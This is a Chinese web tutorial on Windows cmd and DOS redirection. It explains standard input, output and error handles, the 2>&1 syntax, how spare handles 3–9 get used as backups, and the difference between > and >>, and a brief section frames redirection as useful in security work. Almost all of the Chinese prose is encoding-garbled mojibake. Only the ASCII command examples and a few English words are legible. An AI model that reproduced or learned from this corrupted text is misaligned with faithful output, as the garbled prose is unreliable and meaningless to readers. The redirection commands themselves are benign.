·þÎñÆ÷ϵͳ¼¯³É¼°Êý¾Ý·þÎñÖÐÐÄ

 

Ò»¼¶À¸Ä¿
Ò»¼¶À¸Ä¿
Ò»¼¶À¸Ä¿
Ò»¼¶À¸Ä¿
Ò»¼¶À¸Ä¿
Ò»¼¶À¸Ä¿
Ò»¼¶À¸Ä¿
Ò»¼¶À¸Ä¿
¡¾å¸‚场动æ€?¡¿¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­>>>

DOS¼¼Êõ»ã±à1-Öض¨Ïò

Ò»¡¢Windows cmdÃüÁîÐÐÊäÈëÊä³öÖض¨ÏòÎÊÌâ

 ·Ï»°²»¶à˵ÁË£¬ÔÚUnixÏÂÖض¨ÏòÓÃןоõºÜhigh£¬ÏÖÔÚÏë°ÑwinϵÄnslookupµÄ´íÎóÌáʾ¡°*** Can''''t find server name for address 10.3.9.5: Non-existent domain¡±Ò»Í¬µ¼³öµ½txtÎļþ£¬windows³­Ï®unix£¬stdio(0),stdout(1),stderr(2)¶¼¸úunixÊÇÒ»ÑùµÄ
 
Öض¨Ïò·ûºÅÖ÷ÒªÓУº>£¬>>£¬<£¬>&£¬<&ºÍ|£¬ÒÔÏÂÖ»ÓÐÇ°Îå¸öµÄ½éÉÜ£¬×îºóÒ»¸öÊǹܵÀ£¬ÓëUnixÒàÍêÈ«Ò»Ö¡£
 
¡ø1¡¢
 
Ê×ÏÈ´ÓÒ»¸ö¾­µäÎÊÌ⿪ʼ£¬¡°1>nul 2>nul¡±µÄÒâ˼ÊǼÈÆÁ±ÎÕý³£µÄÊä³öÓÖÆÁ±Î´íÎóµÄÊä³ö£¬ÄÇôÎÒÃÇÂíÉϾÍÖªµÀÁËÕâÀïµÄ1±íʾÕý³£Êä³ö£¨¼´ËùνµÄ¡°±ê×¼Êä³ö¡±stdout£©£¬2±íʾ´íÎóÊä³ö£¨¼´ËùνµÄ¡°±ê×¼´íÎóÊä³ö¡±stderr£©¡£
 
1ºÍ2ÆäʵÊǾä±ústdoutºÍstderrµÄÊý×Ö´úºÅ£¬ÖÁÓÚʲôÊǾä±ú£¬ÎÒÈÏΪ¿ÉÒÔÀí½âΪijÖÖÊÂÎïµÄÒ»ÖÖ±êʶ£¬»òÕß˵Õâ¸ö¾ä±úÖ¸Ïòij¸öÊÂÎï¡£¾Ù¸öÀý×ÓÀ´Ëµ£¬¡°±ê×¼Êä³ö¡±ÒÔ¾ä±ústdoutΪ±êʶ£¬»òÕß˵¾ä±ústdoutÖ¸Ïò¡°±ê×¼Êä³ö¡±¡£
 »¹ÓÐÒ»¸ö¾ä±ústdin£¬ËüÊÇËùν¡°±ê×¼ÊäÈ롱µÄ±êʶ£¬Êý×Ö´úºÅÊÇ0¡£³ý´ËÖ®Í⻹ÓÐ3~9¿ÉÓã¬Ö»ÊÇËüÃÇûÓж¨Òå¡£
 
¡°±ê×¼Êä³ö¡±ºÍ¡°±ê×¼´íÎóÊä³ö¡±Ä¬ÈÏÊÇÒªÊä³öµ½¿ØÖÆ̨con£¨¼´cmd´°¿Ú£©µÄ£¬¶ø¡°±ê×¼ÊäÈ롱ĬÈÏÊÇÓÉ¿ØÖÆ̨con£¨¼´¼üÅÌ£©ÊäÈëµÄ£¬Òò´ËÖض¨ÏòµÄÄ¿µÄ¾ÍÊǽ«ÊäÈëÊä³öÁ÷´ÓĬÈÏλÖÃÖض¨Ïòµ½ÐµÄλÖ᣷ûºÅ¡°>¡±ºÍ¡°>>¡±µÄĬÈϾä±ú´úºÅÊÇ1£¬¶ø¡°<¡±µÄĬÈϾä±ú´úºÅÊÇ0¡£
 
¡°echo hhhhhh¡±ÀàËÆÓÚÕâÑùµÄÓï¾ä¿ÉÒÔ˵ÊÇÎÒÃÇÔÙÊìϤ²»¹ýµÄÁË£¬µ«ÕâÖ»ÊÇÖÖĬÈϵÄ״̬£¬ÆäʵÀïÃ滹ÓÐһЩÄÚÈÝ¡£ÕâÒ»¾äÍêÕûµÄÓ¦¸ÃÊÇÕâÑùµÄ£º¡°echo hhhhhh 1>con 2>con¡±£¬Òâ˼Êǽ«echoÃüÁîµÄ½á¹ûÖеıê×¼Êä³öºÍ±ê×¼´íÎóÊä³öÊä³öµ½¿ØÖÆ̨conÖУ¬Ö»²»¹ý´Ëʱ±ê×¼´íÎóÊä³öÊǿյġ£
 
ÔÙ¿´Ò»¸öÀý×Ó£¬Èç¹û¸ødirÒ»¸ö´íÎóµÄ²ÎÊý£¬ÀýÈç¡°dir /mm¡±£¬ÄÇôдȫÁ˾ÍÊÇ¡°dir /mm 1>con 2>con¡±£¬Ö»²»¹ý´ËʱµÄ±ê×¼Êä³öÊǿյġ£Èç¹ûÄãÕâÑùдµÄ»°¡°dir /mm 1>hero.txt¡±£¬ÄÇôÆÁÄ»ÉÏ»áÕÕ³£ÏÔʾ´íÎóÐÅÏ¢µ«hero.txtÖв»»áÓÐÄÚÈÝ¡£
 
ÔÙÀ´Ò»¸ö±ê×¼ÊäÈëµÄÀý×Ó£¬¡°set /p var= ¡±ÆäʵӦ¸ÃÊÇÕâÑùµÄ¡°set /p var= 0<con¡±£¬Ö»ÊÇÒòΪ0<conÊÇĬÈÏÖµ¿ÉÒÔÊ¡ÂÔ¡£ÎÒÃǵ±È»¿ÉÒÔ´ÓÎļþÖжÁÈ¡ÊäÈ룬Èç¡°set /p var= 0<file.txt¡±£¬0ÊÇĬÈÏÖµ¿ÉÒÔÊ¡ÂÔ¡£
 
nul´ú±íµÄÊÇ¡°¿ÕÉ豸¡±£¬ÊÇÒ»¸ö²»´æÔÚµÄÉ豸£¬½«Êä³öÁ÷Öض¨Ïòµ½¿ÕÉ豸¾ÍÏ൱ÓÚÆÁ±ÎµôÁËÒ»Ñù¡£¶øÈç¹û´Ó¿ÕÉ豸ÖжÁÈ¡ÊäÈ룬×ÔÈ»ÊǶÁ²»µ½¶«Î÷µÄ£¬µ«µÄÈ·ÊÇÊäÈëÁË£¬ÕâÒ²¾ÍÊÇ¡°set /p var=<nul¡±ÖС°<nul¡±Ï൱Óڻسµµ«²»»»ÐеÄÔ­Òò¡£
 
¡ø2¡¢
 
ÏÂÃæÒª½²µÄÊǾä±ú´úÂëÖ®¼äµÄ¡°Öض¨Ïò¡±¡£ ֮ǰ²»ÊÇÌáµ½¹ý»¹ÓÐ3~9Õâ7¸ö¾ä±úÊý×Ö´úºÅÂð£¬ÕâЩ¾¿¾¹ÓÐʲôÓã¿ËµÊµ»°£¬»ù±¾Ã»Ê²Ã´Óã¬Òò´Ë½¨ÒéÄãÈç¹û²»ÊÇÆÈÇÐÏëÖªµÀÕⲿ·ÖÄÚÈݵĻ°¾Í²»ÒªÍùÏ¿´ÁË¡£
 
¡°echo hero 1>hero.txt¡±ÕâÒ»¾äÊǽ«±ê×¼Êä³öÖض¨Ïòµ½Îļþhero.txt£¬Ï൱ÓÚ½«¾ä±ú´úºÅ1µÄÖ¸ÏòÓÉcon±äΪhero.txt¡£¡°echo hero 3>hero.txt 1<&3¡±£¬Õâ¾äµÄ½á¹ûÊÇÉú³ÉÁËÎļþhero.txt£¬ÆäÄÚÈÝΪhero£¬¹ý³ÌÊÇÕâÑùµÄ£º¡°3>hero.txt¡±Êǽ«¾ä±úÊý×Ö´úºÅ 3µÄÖ¸ÏòÓÉ¡°¿Õ¡±±äΪhero.txt£»¡°1<&3¡±Êǽ«¾ä±úÊý×Ö´úºÅ3µÄÖ¸Ïò¸´ÖƸø1µÄÖ¸Ïò£¬´Ëʱ1µÄÖ¸Ïò¾ÍΪhero.txtÁË£¬Òò´Ë±ê×¼Êä³ö¾Í±»Öض¨Ïòµ½hero.txtÖÐÁË¡£
 
¡°i<&j¡±ºÍ¡°i>&j¡±µÄЧ¹û¶¼ÊÇ°ÑjµÄÖ¸Ïò¸´ÖƸøi¡£¡°echo hero >hero.txt 2>&1¡±Õâ¾äµÄÒâ˼ÊÇ£¬ÎÞÂÛÊDZê×¼Êä³ö»¹ÊDZê×¼´íÎóÊä³ö¶¼»á±»Öض¨Ïòµ½hero.txtÖУ¬¾ßÌå¹ý³Ì£º1µÄÖ¸ÏòÓÉconתΪ hero.txt£¬¡°2>&1¡±ÊÇ°Ñ1µÄÖ¸Ïò¸´ÖƸø2£¬´Ëʱ2µÄÖ¸ÏòÒ²±äΪÁËhero.txt£¬Òò´Ë1ºÍ2¶¼»á±»Öض¨Ïòµ½hero.txt ÖС£×¢Ò⣺1ÊÇ·ûºÅ¡°>¡±µÄĬÈϾä±úÊý×Ö´úºÅ¡£
 
ÔÙ¿´¡°echo hero 3>hero.txt¡±£¬Õâ¸öΪʲô¾Í²»Äܽ«½á¹ûÖض¨Ïòµ½ÎļþÖÐÄØ£¿¼Çס£¬ÎÒÃÇÒªÖض¨ÏòµÄÖ»Óбê×¼ÊäÈë¡¢±ê×¼Êä³öºÍ±ê×¼´íÎóÊä³ö£¬Òò´ËÕæÕý¡°¸É»î¡± µÄ¾ÍÖ»ÓÐ0¡¢1ºÍ2£¬ÒòΪËüÃÇ·Ö±ðÖ¸´úÁËÇ°ÃæµÄÈýÕߣ¬¶ø3ûÓÐÖ¸´úÈκξä±úÖ»ÄÜ×÷Ϊ¼ä½ÓÁ¿Ê¹Óá£
 
¡°more 3<hero.txt 0>&3¡±Õâ¾äÊÇÏÔʾÎļþhero.txt£¬¾ßÌå¹ý³Ì£º¡°3<hero.txt¡±°Ñ3µÄÖ¸Ïò±äΪ hero.txt£¬¡°0>&3¡±°Ñ3µÄÖ¸Ïò¸´ÖƸø0£¬¼´0Ö¸ÏòÁËhero.txt£¨Ö»²»¹ýÕâ´ÎÊÇ´Óhero.txtÖжÁÈ¡Êý¾Ý£©¡£Ç¿µ÷һϣ¬ÕæÕýÄܶÁÈ¡Êý¾ÝµÄÊÇ0¶ø²»ÊÇ3£¬3Ö»ÊÇ×÷ΪÖмäÁ¿¶øÒÑ¡£¸Õ²ÅÕâ¾äÎÒÃǵ±È»¿ÉÒÔÕâôд£º¡°more 0<hero.txt¡±»òÖ±½Ó¡°more <hero.txt¡±¡£
 
ÔÙÀ´Ò»¸öÀý×Ó¡°echo hero 5>hero.txt 4>&5 3<&4 1<&3¡±£¬½á¹ûÊä³öµ½ÁËhero.txtÖС£¾ßÌå¹ý³Ì£º5µÄÖ¸Ïò±ä³Éhero.txt£¬¡°4>&5¡±°Ñ5µÄÖ¸Ïò¸´ÖƸø 4£¬¡°3>&4¡±°Ñ4µÄÖ¸Ïò¸´ÖƸø3£¬¡°1>&3¡±°Ñ3µÄÖ¸Ïò¸´ÖƸø1£¬×îÖÕ1µÄÖ¸Ïò¾ÍÊÇhero.txt£¬Ôò1ËùÖ¸´úµÄ±ê×¼Êä³ö¾Í±»Öض¨Ïòµ½ÁËhero.txt¡£
 
¡ø3¡¢
 
×¢Ò⣺ÕâÒ»½ÚµÄÄÚÈݶ¼ÊÇΧÈÆ×ÅÏÂÃæÕâ¸öÀý×Ó½øÐÐÐðÊöµÄ¡£
 
´úÂë:
 
@echo off
echo Ó¢ÐÛÊǺÃÄÐÈË£¡£¡£¡
echo 1>nul 3>nul
echo Ó¢ÐÛÊÇ
echo Ó¢ÐÛÊÇ
echo ÕâÊÇÔõô»ØÊ£¬ÄѵÀ¾Í²»ÄÜ 1>con 4>con
pause
Õ⾿¾¹ÊÇÔõô»ØÊ£¿ÎªÊ²Ã´½á¹û»áÈç´Ë³öºõÒâÁÏ£¿
 ÕâÀïÉæ¼°µ½Ò»¸öËùν¡°±¸·Ý¡±µÄÎÊÌ⣬¾ÍÊÇÔÚÐÞ¸Äij¸ö¾ä±ú´úºÅµÄÖ¸Ïò֮ǰ£¬ÏµÍ³»á°Ñ¸Ã¾ä±ú´úºÅÔ­À´µÄÖ¸Ïò±¸·Ýµ½½ØÖ¹µ½Ä¿Ç°µÚÒ»¸öÖ¸ÏòΪ¿ÕµÄ¾ä±ú´úºÅÖС£Ä¿µÄÊǵ±ÕâÒ»ÐеijÌÐò½áÊøÖ®ºó£¬ÏµÍ³¿ÉÒÔͨ¹ý±¸·ÝÕÒ»ØÔ­À´µÄÖ¸Ïò¡£
 
( ÔÚ¼ÌÐøÔĶÁ֮ǰ½¨ÒéÄã×¼±¸ºÃÖ½±Ê£¬ÒÔ±ãÄܼǼϸ÷¸ö´úºÅÖ¸ÏòµÄ±ä»¯£¬ÕâÑù²»ÖÁÓÚ»ìÂÒ)
ÎÒÃÇÏÖÔڰѽ¹µã¼¯Öе½Õâ¾ä¡°echo. 1>nul 3>nul¡±ÉÏÀ´¡£Õâ¾ä¾¿¾¹ÊÇÈçºÎ¹¤×÷µÄÄØ£¿
 
µÚÒ»²½£ºÔÚÔËÐС°1>nul¡±Ö®Ç°£¬1µÄÖ¸ÏòÊÇĬÈÏÖµcon£¬´Ëʱ´úºÅ3~9µÄÖ¸Ïò¶¼ÊÇ¿Õ£¨³õʼֵ£©£¬Òò´Ëϵͳ»á°Ñ1µÄÖ¸Ïò±¸·Ýµ½3£¨ÒòΪ3ÊǵÚÒ»¸öΪ¿ÕµÄ´úºÅ£©£¬3¾ÍÖ¸ÏòÁËcon¡£¾ÍÊÇ˵ϵͳ°Ñ1Ô­À´µÄÖ¸Ïò¸´ÖƸøÁË3£¬Ä¿µÄÊÇÓï¾ä½áÊøºóÄÜÕÒ»ØÔ­À´µÄÖ¸Ïò£¬Õâ¾ÍÏ൱ÓÚ±¸·Ý¡£
 
µÚ¶þ²½£ºÏÖÔÚ3µÄÖ¸ÏòÊÇcon¡£È»¶øÓÉÓÚÒªÔËÐС°3>nul¡±£¬Òò´Ë»¹Òª±¸·Ý3µÄÖ¸Ïò¡£´Ëʱ4Êǿյģ¬ÏµÍ³¾Í°Ñ3µÄÖ¸Ïòcon¸´ÖƸøÁË4£¬¼´4ÏÖÔÚÖ¸Ïòcon¡£¾ÍÊÇ˵3ÒÔ4Ϊ±¸·Ý¡£
 
µÚÈý²½£ºÓÉÓÚ¡°3>nul¡±Ê¹µÃ3Ö¸ÏòÁËnul¡£
 
µÚËIJ½£ºÕâÐÐÓï¾ä½áÊøʱ£¬1ÒªÕÒ»ØÔ­À´µÄÖ¸Ïò£¬´ÓÒÔÉÏÐðÊöÎÒÃÇÖªµÀ£¬3ÊÇ1µÄ±¸·Ý£¬Òò´Ë1Ҫͨ¹ý3À´»Ö¸´¡°Ô­À´¡±µÄÖ¸Ïò£¬µ«´Ëʱ3µÄÖ¸ÏòÒѾ­±äΪÁËnul£¬¹Ê1¾ÍÖ¸Ïònul¡£
 
µÚÎå²½£º¶ø3Òª»Ö¸´Ô­À´µÄÖ¸Ïò¾ÍÒªÕÒ4£¬4Ö¸Ïòcon£¬¹Ê3»Ö¸´Îªcon£»4ԭʼָÏòÊǿյģ¬Æ䱸·ÝÔÚ5ÖУ¬¹Ê4µÄÖ¸Ïò»Ö¸´µ½¿Õ¡£
 
ÖÁ´ËÎÒÃÇÀí˳һÏ£¬ÏÖÔÚ1Ö¸Ïònul£¬2Ö¸ÏòĬÈÏÖµcon£¬3Ö¸Ïòcon£¬4Ö®ºó¶¼ÊÇ¿ÕÖ¸Ïò¡£ÄÇôÔÚÔËÐкóÁ½¾äechoÓï¾äʱÓÉÓÚ1Ö¸Ïònul£¬¼´±ê×¼Êä³ö±»Öض¨Ïòµ½¿ÕÉ豸£¬¹ÊÏÔʾ±»ÆÁ±Î¡£
 
ÔÙÀ´¿´¿´Õâ¾ä ¡°echo ÕâÊÇÔõô»ØÊ£¬ÄѵÀ¾Í²»ÄÜ 1>con 4>con¡± Õâ¾äÊÇÔõô¹¤×÷µÄÄØ£¿
 
µÚÒ»²½£º1µ±Ç°Ö¸ÏòÊÇnul£¬ÓÉÓÚÒªÔËÐС°1>con¡±£¬Òò´ËÒª½øÐб¸·Ý¡£µ«´Ëʱ3Ö¸ÏòµÄÊÇcon·Ç¿Õ£¬¹Êϵͳ½«1µÄÖ¸Ïò±¸·Ýµ½4£¬¼´4Ö¸Ïònul¡£
 
µÚ¶þ²½£ºÓÖÓÉÓÚÒªÔËÐС°4>con¡±£¬¹Ê4ÏÖÔÚµÄÖ¸Ïònul¾ÍÓÖ±»±¸·Ýµ½5ÖУ¬5ÒÔºóµÄʹÃÇÒÊ¡ÂÔ¡£
 µÚÈý²½£ºÔËÐÐÍê¡°4>con¡±Ö®ºó4¾ÍÖ¸Ïòcon¡£
 µÚËIJ½£º¸ÃÐгÌÐò½áÊøºó£¬1Ҫͨ¹ý4À´»Ö¸´Ö¸Ïò¡£4Ö¸Ïòcon£¬¹Ê1Ö¸Ïòcon´Ó¶ø»Ö¸´ÁËĬÈÏ״̬¡£¶ø4ÕÒ5£¬5Ö¸Ïònul£¬¹Ê4Ö¸Ïònul¡£
 ÎÒÃÇÔÙÊýÒ»ÊýÏÖÔÚµÄÇé¿ö£¬0Ö¸Ïòcon£¬1Ö¸Ïòcon£¬2Ö¸Ïòcon£¬3û¶¯»¹ÊÇÖ¸Ïòcon£¬4Ö¸Ïònul£¬5ÒÔºó¶¼Îª¿ÕÖ¸Ïò¡£
 »á²»»áÓеãÂÒ£¿ÄǾÍÔٺúõĿ´¼¸±é°É£¬»òÕßÊÇ¿´¿´Õâƪ£¬½²µÄ¸ü»ù´¡Ò»Ð©£º
 
¡ø4
 ÎÒÃÇÒѾ­ÖªµÀ¡°echo hero¡±Ï൱ÓÚ¡°echo hero 1>con 2>con¡±£¬con±íʾ¿ØÖÆ̨£¬¿ÉÒÔ°Ñcon¿´×öÊÇÌØÊâµÄÎļþ£¬Õâ¾ÍÊÇÎÒÃÇÎÞ·¨½¨Á¢ÃûΪconÎļþµÄÔ­Òò¡£
 
ÔÙ¶Ô¡°>¡±ºÍ¡°>>¡±µÄÖض¨Ïò»úÖÆ×ö¸ö·ÖÎö¡£µ±ÒªÖض¨Ïòµ½µÄÎļþÓÐÒþ²Ø»òϵͳÊôÐÔʱ£¬¡°>>¡±¿ÉÒÔÕý³£ÔËÐУ¬¶ø ¡°>¡±¾ÍÎÞ·¨²Ù×÷ÁË¡£¾Ý´ËÎÒÍƲ⣬¶ÔÓÚ¡°>¡±µÄÖض¨ÏòÊä³ö£¬Èç¹ûÎļþ²»´æÔÚµ±È»Êǽ¨Á¢Îļþ£¬¶øÈç¹ûÎļþ´æÔÚ¾ÍÏȽ«Îļþɾ³ý£¬È»ºóÔÙн¨Îļþ£¬Ò²¾ÍÊÇ˵²¢·ÇÊǸ²¸ÇÎļþµÄÄÚÈݶøÊÇÏÈɾ³ýÎļþÔÙ½¨Á¢ÐÂÎļþ¡£
 
ͨ¹ýµÚÈý½ÚµÄ½²½âÄãÓ¦¸ÃÃ÷°×ΪʲôÀàËÆÕâÑùµÄÓï¾ä¡°echo hero >nul >con >hero.txt >con¡±»áÒÔ×îºóÒ»¸öΪ׼ÁË°É¡£
 
×îºóÐèҪעÒâÒ»µãµÄÊÇÖض¨ÏòÊä³öÎÞ·¨Êä³öµ½Ö»¶ÁÎļþ¡£
 
Íê¡£
 WINϵĴ󲿷ÖÖض¨ÏòÓëUnix»¹ÊÇÒ»Öµģ¬àÅ
 
ÏÂÃæÊDz¹³ä

Command ¹¦ÄÜ
command > filename °Ñ±ê×¼Êä³öÖض¨Ïòµ½Ò»¸öÎļþÖÐ
command >> filename °Ñ±ê×¼Êä³öÖض¨Ïòµ½Ò»¸öÎļþÖÐ(×·¼Ó)
command 1 > fielname °Ñ±ê×¼Êä³öÖض¨Ïòµ½Ò»¸öÎļþÖÐ
command > filename 2>&1 °Ñ±ê×¼Êä³öºÍ±ê×¼´íÎóÒ»ÆðÖض¨Ïòµ½Ò»¸öÎļþ
command 2 > filename °Ñ±ê×¼´íÎóÖض¨Ïòµ½Ò»¸öÎļþÖÐ
command 2 >> filename °Ñ±ê×¼´íÎóÖض¨Ïòµ½Ò»¸öÎļþÖÐ(×·¼Ó)
command >> filename 2>&1 °Ñ±ê×¼Êä³öºÍ±ê×¼´íÎóÒ»ÆðÖض¨Ïòµ½Ò»¸öÎļþÖÐ(×·¼Ó)
command < filename1 > filename2 commandÃüÁîÒÔfilename1Îļþ×÷Ϊ±ê×¼ÊäÈ룬ÒÔfilename2Îļþ×÷Ϊ±ê×¼Êä³ö
command < filename commandÃüÁîÒÔfilenameÎļþ×÷Ϊ±ê×¼ÊäÈë
command << delimiter ´Ó±ê×¼ÊäÈëÖжÁÈ룬ֱÖÁÓöµ½delimiter·Ö½ç·û
command < &m ½«ÎļþÃèÊö·ûm×÷Ϊ±ê×¼ÊäÈë
command > &m ½«±ê×¼Êä³öÖض¨Ïòµ½ÎļþÃèÊö·ûmÖÐ
command < &- ¹Ø±Õ±ê×¼ÊäÈë

5¡¢

dosÖض¨Ïò·û > ºÍ >>£¬ ÀûÓÃÖض¨Ïò»ñÈ¡ÐèÒªÐÅÏ¢

¡¡¡¡ÔÚcmd´°¿ÚÖвéѯijÌõÃüÁîµÄ°ïÖúʱ£¬°ïÖúÐÅÏ¢ÊÇÏÔʾÔÚÃüÁîÐд°¿ÚÖеģ¬ÈôÏ´λ¹Ïë¿´£¬¿ÉÒÔÔٲ飻Ҳ¿ÉÒÔ¸´ÖƱ£´æºó²é¿´£¬Ò²¿ÉÒÔʹÓÃÖض¨ÏòÃüÁî±£´æ£¬
 
¡¡¡¡ÉÔ΢·±ËöÒ»µãµÄ°ì·¨¾ÍÊǸ´ÖÆÃüÁîÐд°¿ÚÖеÄÐÅÏ¢£¬È»ºóÕ³Ìùµ½Îı¾Öб£´æÆðÀ´¡£Õâ¸ö²Ù×÷±È½Ï·±ËöµÄ£ºÔÚÃüÁîÐд°¿Úµã»÷ÓÒ¼ü£¬È»ºóÑ¡Ôñ¡°±ê¼Ç¡±£¬ÓÃÊó±êÀ­³ö¸´ÖÆ·¶Î§£¬È»ºóÇûسµ£¬×îºó£¬Õ³Ìùµ½Îı¾ÖÐÈ¥¡£
¡¡¡¡¸ßЧµÄ°ì·¨¾ÍÊÇ£ºÊ¹ÓÃÖض¨Ïò·ûºÅ£¬°ÑÔ­±¾Êä³öµ½cmd´°¿ÚÖеÄÐÅÏ¢Öض¨Ïòµ½Îı¾ÎļþÖÐÈ¥¡£
 
¡¡¡¡Öض¨Ïò·ûºÅÓÐÁ½¸ö£º>ºÍ>>¡£ËüÃǵÄ×÷Óö¼ÊǸıä¸÷ÖÖÌáʾÐÅÏ¢µÄÊä³ö·½Ïò£¬°ÑÌáʾÐÅÏ¢Êä³öµ½Ö¸¶¨µÄµØ·½È¥¡ª¡ª¸÷ÖÖÌáʾÐÅϢĬÈÏÊÇÊä³öµ½ÆÁÄ»ÉÏÈ¥µÄ¡£ÀýÈ磺tree /?>help.txt£¬ÕâÌõÃüÁîÓï¾ä¾Í°Ñ tree ÃüÁîµÄ°ïÖúÐÅÏ¢Öض¨Ïòµ½ÁËhelp.txtÎļþÖУ¬help>nul ¾Í°Ñ help ÃüÁîµÄÌáʾÐÅÏ¢Öض¨Ïòµ½ÁË¿ÕÉ豸ÖÐÈ¥£¨nul±íʾ¿ÕÉ豸£©¡£
 
¡¡¡¡Ïë¿´¿´cmdÖж¼ÓÐÄÄЩ»ù±¾ÃüÁîÂð£¿ÔÚcmd´°¿ÚÖÐÊäÈë help ¾Í¿ÉÒÔ¿´µ½ÁË£»Èç¹ûÏë°ÑÕâЩ»ù±¾ÃüÁîÐÅÏ¢±£´æÏÂÀ´£¬ÇëʹÓà help>d:\list.txt£¬È»ºó£¬µ½DÅ̸ùĿ¼ÏÂÕÒµ½list.txtÎļþ´ò¿ª¼´¿É¡£
 
>ºÍ>>ËäÈ»¶¼Æðµ½Öض¨ÏòÌáʾÐÅÏ¢µÄ×÷Ó㬵«ÊÇ£¬ËüÃǵÄ×÷ÓÃÉÔÓвî±ð¡£
 
µ¥¸öµÄ>±íʾÒÔ¸²¸Ç·½Ê½Öض¨ÏòÌáʾÐÅÏ¢£¬Ò²¾ÍÊÇÈç¹ûÄ¿µÄµØÔ­À´ÓÐÄÚÈÝ£¬½«°ÑÔ­À´µÄÄÚÈÝÇå³ýµô£¬ÓÃÐÂÄÚÈÝÌî³ä£»
 
>>±íʾÒÔ×·¼ÓµÄ·½Ê½Öض¨ÏòÌáʾÐÅÏ¢£¬Ò²¾ÍÊÇ˵£¬Èç¹ûÄ¿µÄµØÔ­À´ÓÐÄÚÈÝ£¬Ô­ÓеÄÄÚÈݽ«±£³Ö²»±ä£¬ÔÚÔ­ÓÐÄÚÈÝÖ®ºó×·¼ÓÐÂÄÚÈÝ¡£
 
ÀýÈ磺¼ÙÉèd:\test.txtÖеÄÄÚÈÝÊÇ£ºI Love batch¡£ÄÇô£¬ÔÚcmd´°¿ÚÖУ¬·Ö±ðʹÓÃÈçÏÂÁ½ÌõÓï¾ä£ºecho me,too>d:\test.txtºÍecho me,too>>d:\test.txt£¬½«»á·¢ÏÖ£¬Ê¹ÓõÚÒ»ÌõÓï¾äÖ®ºó£¬test.txtÖÐÖ»ÓÐÒ»ÐÐÄÚÈÝ£ºme,too£¬¶øʹÓõڶþÌõÓï¾äÖ®ºó£¬test.txtÖн«ÓÐÁ½ÌõÄÚÈÝ£¬·Ö±ðÊÇI Love batchºÍme,too¡£
 


¶þ¡¢DOSµÄÖض¨ÏòÃüÁîʹÓ÷½·¨¼°ÆäÔÚ°²È«·½ÃæµÄÓ¦ÓÃ

¡¡¡¡DOSÏÂÓÐÒ»¸öÌØÊâµÄÃüÁ¡ªÖض¨ÏòÃüÁ·Ç³£ÓÐÓã¬ÇÉÃîÁé»îÔËÓÿÉÒÔ¸øÎÒÃÇ´øÀ´ºÜ´óµÄ·½±ã¡ª¡ªÎÞÂÛÊÇÈëÇÖ»¹ÊÇ·ÀÊØ£¬ÒÖ»òÊÇϵͳӦÓ㬶¼¿ÉÒÔÇÉÃîÀûÓã¬ÏÂÃæÊǼ¸¸öÖض¨ÏòÃüÁîÔÚ°²È«·½ÃæµÄÓ¦ÓÃʵÀý

¡ø1¡¢ÃüÁî¸ñʽ
 
¡¡¡¡DOSµÄ±ê×¼ÊäÈëÊä³öͨ³£ÊÇÔÚ±ê×¼É豸¼üÅ̺ÍÏÔʾÆ÷ÉϽøÐеģ¬ÀûÓÃÖض¨Ïò,¿ÉÒÔ·½±ãµØ½«ÊäÈëÊä³ö¸ÄÏò´ÅÅÌÎļþ»òÆäËüÉ豸¡£ÆäÖÐ:
 
(1)¡¢´óÓںš°>¡±½«ÃüÁî·¢Ë͵½Îļþ»òÉ豸£¬ÀýÈç´òÓ¡»ú>prn¡£Ê¹ÓôóÓںš°>¡±Ê±£¬ÓÐЩÃüÁîÊä³ö(ÀýÈç´íÎóÏûÏ¢)²»ÄÜÖض¨Ïò¡£
 
(2)¡¢Ë«´óÓںš°>>¡±½«ÃüÁîÊä³öÌí¼Óµ½Îļþ½áβ¶ø²»É¾³ýÎļþÖÐÒÑÓеÄÐÅÏ¢¡£
 
(3)¡¢Ð¡Óںš°<¡±´ÓÎļþ¶ø²»ÊǼüÅÌÉÏ»ñÈ¡ÃüÁîËùÐèµÄÊäÈë¡£
 
(4)¡¢>&·ûºÅ½«Êä³ö´ÓÒ»¸öĬÈÏI/OÁ÷(stdout,stdin,stderr)ÖØж¨Ïòµ½ÁíÒ»¸öĬÈÏI/OÁ÷¡£
 
ÀýÈ磬command >output_file 2>&1½«´¦Àícommand¹ý³ÌÖеÄËùÓдíÎóÐÅÏ¢´ÓÆÁÄ»Öض¨Ïòµ½±ê×¼ÎļþÊä³öÖС£±ê×¼Êä³öµÄÊýÖµÈçÏÂËùʾ:
 
±ê×¼Êä³ö µÈ¼ÛµÄÊýÖµ
 
Stdin 0
Stdout 1
Stderr 2
 
ÆäÖУ¬(1)ºÍ(2)¶¼´´½¨Ò»¸öÎļþÓÃÓÚ´æ·ÅÊý¾Ý(4)¿ÉÄܲ»Äܹ»ÔÚDOSÏÂʹÓá£
 
¡ø2¡¢Öض¨ÏòÃüÁîµÄÊä³ö
 
¼¸ºõËùÓеÄÃüÁî¾ù½«Êä³ö·¢Ë͵½ÆÁÄ»¡£¼´Ê¹Êǽ«Êä³ö·¢Ë͵½Çý¶¯Æ÷»ò´òÓ¡»úµÄÃüÁҲ»áÔÚÆÁÄ»ÉÏÏÔʾÏûÏ¢ºÍÌáʾ¡£Òª½«Êä³ö´ÓÆÁÄ»Öض¨Ïòµ½Îļþ»ò´òÓ¡»ú£¬Çëʹ ÓôóÓÚºÅ(>)¡£´ó¶àÊýÃüÁîÖоù¿ÉÒÔʹÓôóÓںš£ÀýÈ磬ÔÚÒÔÏÂÃüÁîÖУ¬dirÃüÁîÉú³ÉµÄĿ¼ÁбíÖض¨Ïòµ½Dirlist.txtÎļþ: dir>dirlist.txt£¬Èç¹ûDirlist.txtÎļþ²»´æÔÚ£¬ÏµÍ³½«´´½¨¸ÃÎļþ¡£Èç¹ûDirlist.txt´æÔÚ£¬ÏµÍ³½«Ê¹ÓÃdirÃü ÁîµÄÊä³öÌæ»»ÎļþÖеÄÐÅÏ¢¡£
 
